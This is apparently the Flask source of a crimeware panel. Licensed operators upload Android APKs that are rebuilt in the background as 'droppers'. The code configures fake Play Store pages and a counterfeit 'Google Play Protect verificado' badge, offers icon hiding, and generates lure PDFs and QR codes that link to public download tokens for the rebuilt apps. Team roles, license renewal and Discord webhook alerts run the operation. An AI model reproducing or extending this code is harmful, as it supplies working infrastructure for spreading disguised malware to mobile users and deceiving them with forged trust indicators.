@app.route('/admin/gateway-settings', methods=['GET'])
def get_gateway_settings():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({}), 403
    gw = db['settings'].get('gateway', {})
    return jsonify({
        'base_url': gw.get('base_url', ''),
        'client_id': gw.get('client_id', ''),
        'client_secret': '***' if gw.get('client_secret') else '',
        'enabled': gw.get('enabled', False),
        'client_secret_set': bool(gw.get('client_secret')),
    })

@app.route('/admin/gateway-settings', methods=['POST'])
def save_gateway_settings():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({"success": False, "message": "Sem permissao"}), 403

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False}), 400

    gw = db['settings'].get('gateway', {})
    gw['base_url'] = str(data.get('base_url', '')).rstrip('/')[:300]
    gw['enabled']  = bool(data.get('enabled', False))
    gw['client_id'] = str(data.get('client_id', ''))[:200]

    if data.get('client_secret') and data.get('client_secret') != '***':
        gw['client_secret'] = str(data.get('client_secret', ''))[:500]

    _gw_token_cache.clear()

    db['settings']['gateway'] = gw
    save_data(db)
    add_history(session['username'], "Config Gateway", f"Base URL: {gw['base_url']} | Ativo: {gw['enabled']}")
    send_discord_webhook(
        "CONFIG GATEWAY",
        f"Credenciais do gateway atualizadas por **{session['username']}**.",
        color=0xf59e0b
    )
    return jsonify({"success": True})

@app.route('/admin/gateway-test', methods=['POST'])
def test_gateway():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    gw = db['settings'].get('gateway', {})
    if not gw.get('base_url') or not gw.get('client_id') or not gw.get('client_secret'):
        return jsonify({"success": False, "message": "Preencha Base URL, Client ID e Client Secret antes de testar."})
    try:
        token = _get_gateway_token(gw)
        if token:
            return jsonify({"success": True})
        return jsonify({"success": False, "message": "Token vazio na resposta."})
    except Exception as e:
        return jsonify({"success": False, "message": str(e)[:200]})

@app.route('/upload', methods=['POST'])
def upload_apk():
    if 'username' not in session:
        return jsonify({"error": "Login"}), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    if is_user_expired(user):
        return jsonify({"error": "Licenca expirada"}), 403

    file = request.files.get('file')
    if not file or not file.filename.endswith('.apk'):
        ip = get_client_ip()
        send_discord_webhook(
            "UPLOAD INVALIDO",
            f"Usuario **{session.get('username', '?')}** tentou fazer upload de arquivo nao-APK.",
            color=0xf59e0b,
            fields=[
                {"name": "IP", "value": ip, "inline": True},
                {"name": "Arquivo", "value": str(file.filename if file else 'nenhum')[:80], "inline": True}
            ]
        )
        return jsonify({"error": "Arquivo invalido"}), 400

    app_name = str(request.form.get('app_name', 'App'))[:64]
    safe_id = 'b' + uuid.uuid4().hex[:16]
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], f"{safe_id}_orig.apk")
    file.save(filepath)

    icon_path = None
    icon_file = request.files.get('icon')
    if icon_file and icon_file.filename:
        icon_path = os.path.join(app.config['UPLOAD_FOLDER'], f"{safe_id}_icon.png")
        icon_file.save(icon_path)

    db_cfg = load_data()
    user_data = db_cfg["users"].get(session['username'], {})
    dropper_cfg = user_data.get('dropper_config', {})
    dropper_cfg['playstore'] = user_data.get('playstore_config', {})
    visual_mode = request.form.get('visual_mode', 'padrao')
    if visual_mode not in ('padrao', 'playstore', 'custom', 'redirect'):
        visual_mode = 'padrao'
    hide_icon = request.form.get('hide_icon', '0') == '1'

    custom_html = None
    if visual_mode == 'custom':
        custom_html = request.form.get('custom_html', '')
        if not custom_html or not custom_html.strip():
            return jsonify({"error": "HTML personalizado vazio"}), 400
        if len(custom_html.encode('utf-8')) > 200 * 1024:
            return jsonify({"error": "HTML personalizado muito grande (max 200KB)"}), 400

    redirect_url = None
    if visual_mode == 'redirect':
        redirect_url = (request.form.get('redirect_url', '') or '').strip()
        if not redirect_url:
            return jsonify({"error": "Redirect URL vazia"}), 400
        if len(redirect_url) > 2048:
            return jsonify({"error": "Redirect URL muito longa (max 2048)"}), 400
        if not redirect_url.lower().startswith(('http://', 'https://')):
            redirect_url = 'https://' + redirect_url

    thread = threading.Thread(
        target=process_apk,
        args=(safe_id, filepath, app_name, session['username'], icon_path, dropper_cfg, visual_mode, hide_icon, custom_html, redirect_url)
    )
    thread.daemon = True
    thread.start()
    return jsonify({"build_id": safe_id})

@app.route('/operator/dropper-config', methods=['GET'])
def get_dropper_config():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    user = db["users"].get(session['username'], {})
    default_config = {
        'titulo': 'Otimizando sistema',
        'subtitulo': 'Aguarde o procedimento...',
        'badge': '✓ Google Play Protect verificado'
    }
    return jsonify(user.get('dropper_config', default_config))

@app.route('/operator/dropper-config', methods=['POST'])
def save_dropper_config():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False}), 400
    db = load_data()
    if session['username'] not in db['users']:
        return jsonify({"success": False}), 404
    config = {
        'titulo': str(data.get('titulo', 'Otimizando sistema'))[:60],
        'subtitulo': str(data.get('subtitulo', 'Aguarde o procedimento...'))[:80],
        'badge': str(data.get('badge', '✓ Google Play Protect verificado'))[:80]
    }
    db['users'][session['username']]['dropper_config'] = config
    save_data(db)
    add_history(session['username'], "Config Dropper", "Textos personalizados")
    return jsonify({"success": True})

@app.route('/operator/playstore-preview')
def playstore_preview():
    if 'username' not in session:
        return 'Unauthorized', 401
    try:
        up_path = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'up.html')
        with open(up_path, 'r', encoding='utf-8') as f:
            html = f.read()
        name      = request.args.get('name', 'App')[:60]
        pub       = request.args.get('pub', 'Platform, Inc.')[:60]
        rating    = request.args.get('rating', '4.5')[:8]
        downloads = request.args.get('downloads', '1K+')[:20]
        size      = request.args.get('size', '8.6 MB')[:20]
        c1        = request.args.get('c1', 'Performance improvements')[:200]
        c2        = request.args.get('c2', 'Bug fixes')[:200]
        c3        = request.args.get('c3', 'Security improvements')[:200]
        lng       = request.args.get('lng', 'pt')[:5]
        html = html.replace('APPNAME', name)
        html = html.replace('[PUBLISHER]', pub)
        html = html.replace('[RATING]', rating)
        html = html.replace('[DOWNLOADS]', downloads)
        html = html.replace('[SIZE]', size)
        html = html.replace('[CHANGE1]', c1)
        html = html.replace('[CHANGE2]', c2)
        html = html.replace('[CHANGE3]', c3)
        html = html.replace('[LNG]', lng)
        html = html.replace('[BASE-ICO]', '')
        return html, 200, {'Content-Type': 'text/html; charset=utf-8', 'X-Frame-Options': 'SAMEORIGIN'}
    except Exception as e:
        return f'<html><body style="font-family:sans-serif;padding:20px;color:#888;">Erro: {e}</body></html>', 500

@app.route('/operator/playstore-config', methods=['GET'])
def get_playstore_config():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    user = db['users'].get(session['username'], {})
    default_ps = {
        'publisher': 'Platform, Inc.', 'rating': '4.5', 'downloads': '1K+',
        'size': '8.6 MB', 'change1': '', 'change2': '', 'change3': ''
    }
    saved = user.get('playstore_config', {})
    for k, v in default_ps.items():
        if k not in saved:
            saved[k] = v
    return jsonify(saved)

@app.route('/operator/playstore-config', methods=['POST'])
def save_playstore_config():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False}), 400
    db = load_data()
    if session['username'] not in db['users']:
        return jsonify({'success': False}), 404
    cfg = {
        'publisher': str(data.get('publisher', 'Platform, Inc.'))[:60],
        'rating': str(data.get('rating', '4.5'))[:8],
        'downloads': str(data.get('downloads', '1K+'))[:20],
        'size': str(data.get('size', '8.6 MB'))[:20],
        'change1': str(data.get('change1', ''))[:200],
        'change2': str(data.get('change2', ''))[:200],
        'change3': str(data.get('change3', ''))[:200]
    }
    db['users'][session['username']]['playstore_config'] = cfg
    save_data(db)
    return jsonify({'success': True})

@app.route('/status/<build_id>')
def status(build_id):
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', build_id)[:50]
    if 'username' not in session:
        return jsonify({"status": "Desconhecido", "progress": 0}), 401
    current_user = session['username']
    db = load_data()
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    def _can_see(owner_uname, owner_udata):
        if current_role == 'owner':
            return True
        if owner_uname == current_user:
            return True
        if current_role == 'admin' and owner_udata.get('team_id') == current_team:
            return True
        return False

    if build_id in BUILD_STATUS:
        for uname, udata in db['users'].items():
            for build in udata.get('builds', []):
                if build.get('build_id') == build_id:
                    if _can_see(uname, udata):
                        return jsonify(BUILD_STATUS[build_id])
                    return jsonify({"status": "Desconhecido", "progress": 0}), 403
        return jsonify(BUILD_STATUS[build_id])

    for uname, udata in db["users"].items():
        for build in udata.get('builds', []):
            if build.get('build_id') == build_id:
                if not _can_see(uname, udata):
                    return jsonify({"status": "Desconhecido", "progress": 0}), 403
                if build.get('status') == 'concluido':
                    final_name = f"{build_id}.apk"
                    display_name = f"{secure_filename(build.get('app_name', ''))}.apk"
                    return jsonify({"status": "Concluido", "progress": 100, "output_file": final_name, "display_name": display_name})
                elif build.get('status') == 'erro':
                    return jsonify({"status": "Erro", "progress": 0, "error": True})
    return jsonify({"status": "Desconhecido", "progress": 0})

@app.route('/download/<build_id>')
def download(build_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', build_id)[:50]
    current_user = session['username']
    db = load_data()
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    def _can_download(owner_uname, owner_udata):
        if current_role == 'owner':
            return True
        if owner_uname == current_user:
            return True
        if current_role == 'admin' and owner_udata.get('team_id') == current_team:
            return True
        return False

    status_info = BUILD_STATUS.get(build_id)
    if not status_info:
        for uname, udata in db['users'].items():
            for build in udata.get('builds', []):
                if build.get('build_id') == build_id and build.get('status') == 'concluido':
                    if not _can_download(uname, udata):
                        return jsonify({"error": "Sem permissao"}), 403
                    final_name = f"{build_id}.apk"
                    display_name = f"{secure_filename(build.get('app_name', ''))}.apk"
                    file_path = os.path.join(app.config['OUTPUT_FOLDER'], final_name)
                    if os.path.exists(file_path):
                        return send_file(file_path, as_attachment=True, download_name=display_name)
                    break
        return jsonify({"error": "Arquivo nao disponivel"}), 404

    for uname, udata in db['users'].items():
        for build in udata.get('builds', []):
            if build.get('build_id') == build_id:
                if not _can_download(uname, udata):
                    return jsonify({"error": "Sem permissao"}), 403
                break

    if status_info.get('progress') == 100 and status_info.get('output_file'):
        file_path = os.path.join(app.config['OUTPUT_FOLDER'], status_info['output_file'])
        if os.path.exists(file_path):
            return send_file(file_path, as_attachment=True, download_name=status_info.get('display_name', status_info['output_file']))
    return jsonify({"error": "Arquivo nao disponivel"}), 404

@app.route('/user/builds')
def user_builds():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    builds = user.get('builds', [])
    if session.get('role') == 'admin':
        team_id = user.get('team_id')
        all_builds = []
        for uname, udata in data["users"].items():
            if udata.get('team_id') == team_id and udata.get('role') == 'operator':
                all_builds.extend(udata.get('builds', []))
        return jsonify(all_builds)
    if session.get('role') == 'owner':
        all_builds = []
        for uname, udata in data["users"].items():
            all_builds.extend(udata.get('builds', []))
        return jsonify(all_builds)
    return jsonify(builds)

@app.route('/user/profile')
def user_profile():
    if 'username' not in session:
        return jsonify({}), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    return jsonify({
        "username": session['username'],
        "role": user.get('role'),
        "status": user.get('status'),
        "license_expires_at": user.get('license_expires_at'),
        "amplification": user.get('amplification', {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}),
        "created_at": user.get('created_at')
    })

@app.route('/admin/users')
def admin_users():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    current_user = session['username']
    current_role = data["users"].get(current_user, {}).get('role')
    if current_role == 'owner':
        users_list = []
        for uname, udata in data["users"].items():
            users_list.append({
                "username": uname, "role": udata.get('role'),
                "status": udata.get('status'), "license_expires_at": udata.get('license_expires_at'),
                "license_days": udata.get('license_days'), "builds_count": sum(1 for b in udata.get('builds',[]) if b.get('status')=='concluido'),
                "amplification": udata.get('amplification', {})
            })
        return jsonify(users_list)
    if current_role == 'admin':
        team_id = data["users"][current_user].get('team_id')
        users_list = []
        for uname, udata in data["users"].items():
            if udata.get('team_id') == team_id and udata.get('role') == 'operator':
                users_list.append({
                    "username": uname, "role": udata.get('role'),
                    "status": udata.get('status'), "license_expires_at": udata.get('license_expires_at'),
                    "license_days": udata.get('license_days'), "builds_count": sum(1 for b in udata.get('builds',[]) if b.get('status')=='concluido'),
                    "amplification": udata.get('amplification', {})
                })
        return jsonify(users_list)
    return jsonify([])

@app.route('/admin/create-user', methods=['POST'])
def create_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    new_username = data.get('username')
    new_password = data.get('password')
    if not isinstance(new_username, str) or not isinstance(new_password, str):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    new_username = new_username[:64]
    new_role = data.get('role', 'operator')
    license_days = data.get('license_days', 30)
    db = load_data()
    current_user = session['username']
    current_role = db["users"].get(current_user, {}).get('role')
    if new_username in db['users']:
        return jsonify({"success": False, "message": "Usuario ja existe"}), 400
    if current_role == 'owner':
        if new_role not in ['admin', 'operator']:
            return jsonify({"success": False, "message": "Role invalida"}), 400
        team_id = str(uuid.uuid4()) if new_role == 'admin' else db["users"][current_user].get('team_id')
    elif current_role == 'admin':
        new_role = 'operator'
        team_id = db["users"][current_user].get('team_id')
    else:
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    license_expires_at = (datetime.now() + timedelta(days=license_days)).isoformat() if license_days else None
    db['users'][new_username] = {
        "password": generate_password_hash(new_password), "role": new_role, "email": "",
        "created_at": datetime.now().isoformat(), "license_days": license_days,
        "license_expires_at": license_expires_at, "status": "active",
        "builds": [], "team_id": team_id,
        "amplification": {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}
    }
    save_data(db)
    add_history(current_user, "Criar Usuario", f"Novo {new_role}: {new_username} ({license_days} dias)")
    send_discord_webhook(
        "USUARIO CRIADO",
        f"Admin **{current_user}** criou um novo usuario.",
        color=0x3b82f6,
        fields=[
            {"name": "Novo usuario", "value": new_username, "inline": True},
            {"name": "Cargo", "value": new_role, "inline": True},
            {"name": "Licenca", "value": f"{license_days} dias", "inline": True}
        ]
    )
    return jsonify({"success": True, "message": f"{new_role.capitalize()} criado com sucesso"})

@app.route('/admin/renew-license', methods=['POST'])
def renew_license():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    days = data.get('days', 30)
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    db['users'][target_user]['license_expires_at'] = (datetime.now() + timedelta(days=days)).isoformat()
    db['users'][target_user]['license_days'] = days
    save_data(db)
    add_history(current_user, "Renovar Licenca", f"Usuario: {target_user} (+{days} dias)")
    return jsonify({"success": True, "message": f"Licenca renovada por {days} dias"})

@app.route('/admin/toggle-user', methods=['POST'])
def toggle_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    new_status = "inactive" if db['users'][target_user]['status'] == "active" else "active"
    db['users'][target_user]['status'] = new_status
    save_data(db)
    add_history(current_user, "Toggle Usuario", f"Usuario: {target_user} -> {new_status}")
    send_discord_webhook(
        "STATUS DE USUARIO ALTERADO",
        f"Admin **{current_user}** alterou status de **{target_user}**.",
        color=0xf59e0b if new_status == 'inactive' else 0x22c55e,
        fields=[
            {"name": "Usuario", "value": target_user, "inline": True},
            {"name": "Novo status", "value": new_status.upper(), "inline": True},
            {"name": "Alterado por", "value": current_user, "inline": True}
        ]
    )
    return jsonify({"success": True, "message": f"Usuario {new_status}"})

@app.route('/admin/delete-user', methods=['POST'])
def delete_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    if target_user == current_user:
        return jsonify({"success": False, "message": "Nao pode deletar a si mesmo"}), 400
    del db['users'][target_user]
    save_data(db)
    add_history(current_user, "Deletar Usuario", f"Usuario: {target_user}")
    send_discord_webhook(
        "USUARIO DELETADO",
        f"Admin **{current_user}** deletou o usuario **{target_user}**.",
        color=0xef4444,
        fields=[
            {"name": "Deletado por", "value": current_user, "inline": True},
            {"name": "Usuario removido", "value": target_user, "inline": True}
        ]
    )
    return jsonify({"success": True, "message": "Usuario deletado"})

@app.route('/user/change-password', methods=['POST'])
def change_password():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    old = str(data.get('old_password', ''))
    new = str(data.get('new_password', ''))
    if len(new) < 6:
        return jsonify({"success": False, "message": "Senha muito curta (minimo 6)"}), 400
    if old == new:
        return jsonify({"success": False, "message": "Nova senha igual a antiga"}), 400
    db = load_data()
    user = db['users'].get(session['username'])
    if not user or not verify_password(user['password'], old):
        return jsonify({"success": False, "message": "Senha atual incorreta"}), 401
    db['users'][session['username']]['password'] = generate_password_hash(new)
    db['users'][session['username']]['session_version'] = user.get('session_version', 0) + 1
    save_data(db)
    session['session_version'] = db['users'][session['username']]['session_version']
    add_history(session['username'], "Trocar Senha", "Senha alterada via painel")
    send_discord_webhook(
        "TROCA DE SENHA",
        f"Usuario **{session['username']}** trocou a propria senha.",
        color=0x6366f1
    )
    return jsonify({"success": True, "message": "Senha alterada"})

@app.route('/admin/history')
def admin_history():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    current_role = data["users"].get(session['username'], {}).get('role')
    if current_role == 'owner':
        return jsonify(data.get('history', []))
    return jsonify([])

# ===== PDF DROPPER =====
def _load_pdf_tokens():
    if os.path.exists(PDF_TOKENS_FILE):
        try:
            with open(PDF_TOKENS_FILE, 'r') as f:
                return json.load(f)
        except Exception:
            pass
    return {}

def _save_pdf_tokens(tokens):
    try:
        with open(PDF_TOKENS_FILE, 'w') as f:
            json.dump(tokens, f)
    except Exception:
        pass

def _hex_rgb(h):
    h = h.lstrip('#')
    return tuple(int(h[i:i+2], 16)/255.0 for i in (0, 2, 4))

def _create_dropper_pdf(pdf_path, title, message, app_name, download_url,
                         bg_color='#0e1117', btn_color='#16a34a',
                         text_color='#e2e8f0', btn_label='BAIXAR APLICATIVO'):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)

    bg  = _hex_rgb(bg_color)
    btn = _hex_rgb(btn_color)
    txt = _hex_rgb(text_color)
    is_dark = sum(bg) / 3 < 0.5
    sub = tuple(min(1, x+0.35) if is_dark else max(0, x-0.35) for x in txt)
    div = tuple(min(1, x+0.15) if is_dark else max(0, x-0.15) for x in bg)

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)

    c.setFillColorRGB(*btn)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    cx = w / 2
    icon_cy = h - 5.5*cm
    icon_r = 1.8*cm
    ic_fill = tuple(max(0, x-0.25) for x in btn)
    c.setFillColorRGB(*ic_fill)
    c.setStrokeColorRGB(*btn)
    c.setLineWidth(2)
    c.circle(cx, icon_cy, icon_r, fill=1, stroke=1)

    c.setFillColorRGB(1, 1, 1)
    body_w = 0.35*cm
    body_h = 0.7*cm
    c.rect(cx - body_w/2, icon_cy - 0.05*cm, body_w, body_h, fill=1, stroke=0)
    p = c.beginPath()
    p.moveTo(cx, icon_cy - 0.85*cm)
    p.lineTo(cx - 0.65*cm, icon_cy - 0.05*cm)
    p.lineTo(cx + 0.65*cm, icon_cy - 0.05*cm)
    p.close()
    c.drawPath(p, fill=1, stroke=0)
    c.setStrokeColorRGB(1, 1, 1)
    c.setLineWidth(2)
    c.line(cx - 0.5*cm, icon_cy - 1.05*cm, cx + 0.5*cm, icon_cy - 1.05*cm)

    c.setFillColorRGB(*txt)
    font_size = 22 if len(title) <= 30 else 17
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 9*cm, title)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 10*cm, app_name)

    c.setStrokeColorRGB(*div)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 11*cm, w - 3*cm, h - 11*cm)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    msg_y = h - 12.3*cm
    lines_out = []
    for paragraph in message.split('\n'):
        paragraph = paragraph.strip()
        if not paragraph:
            lines_out.append('')
            continue
        words = paragraph.split()
        line = ''
        for word in words:
            test = (line + ' ' + word).strip()
            if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
                line = test
            else:
                if line:
                    lines_out.append(line)
                line = word
        if line:
            lines_out.append(line)
        lines_out.append('')
    if lines_out and lines_out[-1] == '':
        lines_out.pop()
    for ln in lines_out[:12]:
        if ln:
            c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.5*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = sum(btn) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 13)
    lbl = btn_label[:30] if btn_label else 'BAIXAR APLICATIVO'
    c.drawCentredString(w/2, btn_y + 0.42*cm, lbl)
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)

    c.setFillColorRGB(*div)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, 1.5*cm, 'Clique no botao ou toque para baixar o aplicativo')

    c.showPage()
    c.save()

def _create_qr_png(path, url, fg_color='#000000', bg_color='#ffffff'):
    import qrcode
    fg = tuple(int(fg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg = tuple(int(bg_color.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H, box_size=12, border=3)
    qr.add_data(url)
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg, back_color=bg)
    img.save(path)

def _create_qr_pdf(pdf_path, title, message, app_name, download_url, qr_png_path,
                    bg_color='#0e1117', btn_color='#16a34a', text_color='#e2e8f0', btn_label='BAIXAR APLICATIVO'):
    from reportlab.pdfgen import canvas as rl_canvas
    from reportlab.lib.pagesizes import A4
    from reportlab.lib.units import cm
    from reportlab.lib.utils import ImageReader

    w, h = A4
    c = rl_canvas.Canvas(pdf_path, pagesize=A4)
    bg  = _hex_rgb(bg_color)
    btn = _hex_rgb(btn_color)
    txt = _hex_rgb(text_color)
    is_dark = sum(bg) / 3 < 0.5
    sub = tuple(min(1, x+0.35) if is_dark else max(0, x-0.35) for x in txt)
    div = tuple(min(1, x+0.15) if is_dark else max(0, x-0.15) for x in bg)

    c.setFillColorRGB(*bg)
    c.rect(0, 0, w, h, fill=1, stroke=0)
    c.setFillColorRGB(*btn)
    c.rect(0, h - 0.6*cm, w, 0.6*cm, fill=1, stroke=0)

    qr_size = 6.5*cm
    qr_x = (w - qr_size) / 2
    qr_y = h - 9*cm
    try:
        c.drawImage(ImageReader(qr_png_path), qr_x, qr_y, qr_size, qr_size, mask='auto')
        c.setStrokeColorRGB(*btn)
        c.setLineWidth(2)
        c.roundRect(qr_x - 0.2*cm, qr_y - 0.2*cm, qr_size + 0.4*cm, qr_size + 0.4*cm, 0.3*cm, fill=0, stroke=1)
    except Exception:
        pass

    c.setFillColorRGB(*txt)
    font_size = 20 if len(title) <= 32 else 15
    c.setFont('Helvetica-Bold', font_size)
    c.drawCentredString(w/2, h - 10.5*cm, title)
    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    c.drawCentredString(w/2, h - 11.4*cm, app_name)
    c.setStrokeColorRGB(*div)
    c.setLineWidth(0.5)
    c.line(3*cm, h - 12.2*cm, w - 3*cm, h - 12.2*cm)

    c.setFillColorRGB(*sub)
    c.setFont('Helvetica', 11)
    msg_y = h - 13.5*cm
    lines_out = []
    for paragraph in message.split('\n'):
        paragraph = paragraph.strip()
        if not paragraph:
            lines_out.append('')
            continue
        words = paragraph.split()
        line = ''
        for word in words:
            test = (line + ' ' + word).strip()
            if c.stringWidth(test, 'Helvetica', 11) <= w - 6*cm:
                line = test
            else:
                if line: lines_out.append(line)
                line = word
        if line: lines_out.append(line)
        lines_out.append('')
    if lines_out and lines_out[-1] == '':
        lines_out.pop()
    for ln in lines_out[:8]:
        if ln:
            c.drawCentredString(w/2, msg_y, ln)
        msg_y -= 0.65*cm

    btn_w = 9*cm
    btn_h = 1.4*cm
    btn_x = (w - btn_w) / 2
    btn_y = msg_y - 1.2*cm
    c.setFillColorRGB(*btn)
    c.roundRect(btn_x, btn_y, btn_w, btn_h, 0.35*cm, fill=1, stroke=0)
    btn_lum = sum(btn) / 3
    c.setFillColorRGB(*(0,0,0) if btn_lum > 0.6 else (1,1,1))
    c.setFont('Helvetica-Bold', 12)
    lbl = btn_label[:30] if btn_label else 'BAIXAR APLICATIVO'
    c.drawCentredString(w/2, btn_y + 0.42*cm, lbl)
    c.linkURL(download_url, (btn_x, btn_y, btn_x + btn_w, btn_y + btn_h), relative=0)
    c.setFillColorRGB(*div)
    c.setFont('Helvetica', 8)
    c.drawCentredString(w/2, btn_y - 0.55*cm, 'Escaneie o QR Code acima ou toque no botao')
    c.drawCentredString(w/2, 1.5*cm, 'Escaneie com seu celular para baixar o aplicativo')
    c.showPage()
    c.save()

def _append_pdf_item(item):
    tokens = _load_pdf_tokens()
    items = tokens.get('__pdf_items__', [])
    items.insert(0, item)
    tokens['__pdf_items__'] = items[:200]
    _save_pdf_tokens(tokens)

def _append_qr_item(item):
    tokens = _load_pdf_tokens()
    items = tokens.get('__qr_items__', [])
    items.insert(0, item)
    tokens['__qr_items__'] = items[:200]
    _save_pdf_tokens(tokens)

def _get_user_items(key, current_user, current_role, current_team, db):
    tokens = _load_pdf_tokens()
    all_items = tokens.get(key, [])
    if current_role == 'owner':
        return all_items
    if current_role == 'admin':
        allowed = {u for u, d in db['users'].items() if d.get('team_id') == current_team}
        allowed.add(current_user)
        return [i for i in all_items if i.get('created_by') in allowed]
    return [i for i in all_items if i.get('created_by') == current_user]

@app.route('/pub/<token>')
def public_apk_download(token):
    token = re.sub(r'[^a-zA-Z0-9]', '', token)[:64]
    tokens = _load_pdf_tokens()
    entry = tokens.get(token)
    if not entry:
        return jsonify({'error': 'Link invalido ou expirado'}), 404
    expires_at = entry.get('expires_at')
    if expires_at:
        try:
            if datetime.utcnow() > datetime.fromisoformat(expires_at):
                return jsonify({'error': 'Link expirado'}), 410
        except Exception:
            pass
    build_id = re.sub(r'[^a-zA-Z0-9_-]', '', entry.get('build_id', ''))
    app_name = entry.get('app_name', 'app')
    file_path = os.path.join(app.config['OUTPUT_FOLDER'], f'{build_id}.apk')
    if not os.path.exists(file_path):
        return jsonify({'error': 'Arquivo nao disponivel'}), 404
    entry['downloads'] = entry.get('downloads', 0) + 1
    entry['last_download'] = datetime.utcnow().isoformat()
    _save_pdf_tokens(tokens)
    return send_file(file_path, as_attachment=True, download_name=f'{secure_filename(app_name)}.apk')

@app.route('/pdf/builds')
def pdf_list_builds():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    builds = []
    if current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('status') == 'concluido':
                    builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    elif current_role == 'admin':
        for uname, udata in db['users'].items():
            if udata.get('team_id') == current_team:
                for b in udata.get('builds', []):
                    if b.get('status') == 'concluido':
                        builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    else:
        for b in db['users'].get(current_user, {}).get('builds', []):
            if b.get('status') == 'concluido':
                builds.append({'build_id': b.get('build_id'), 'app_name': b.get('app_name', 'App'), 'date_display': b.get('date_display', '')})
    return jsonify(builds)

@app.route('/pdf/generate', methods=['POST'])
def pdf_generate():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
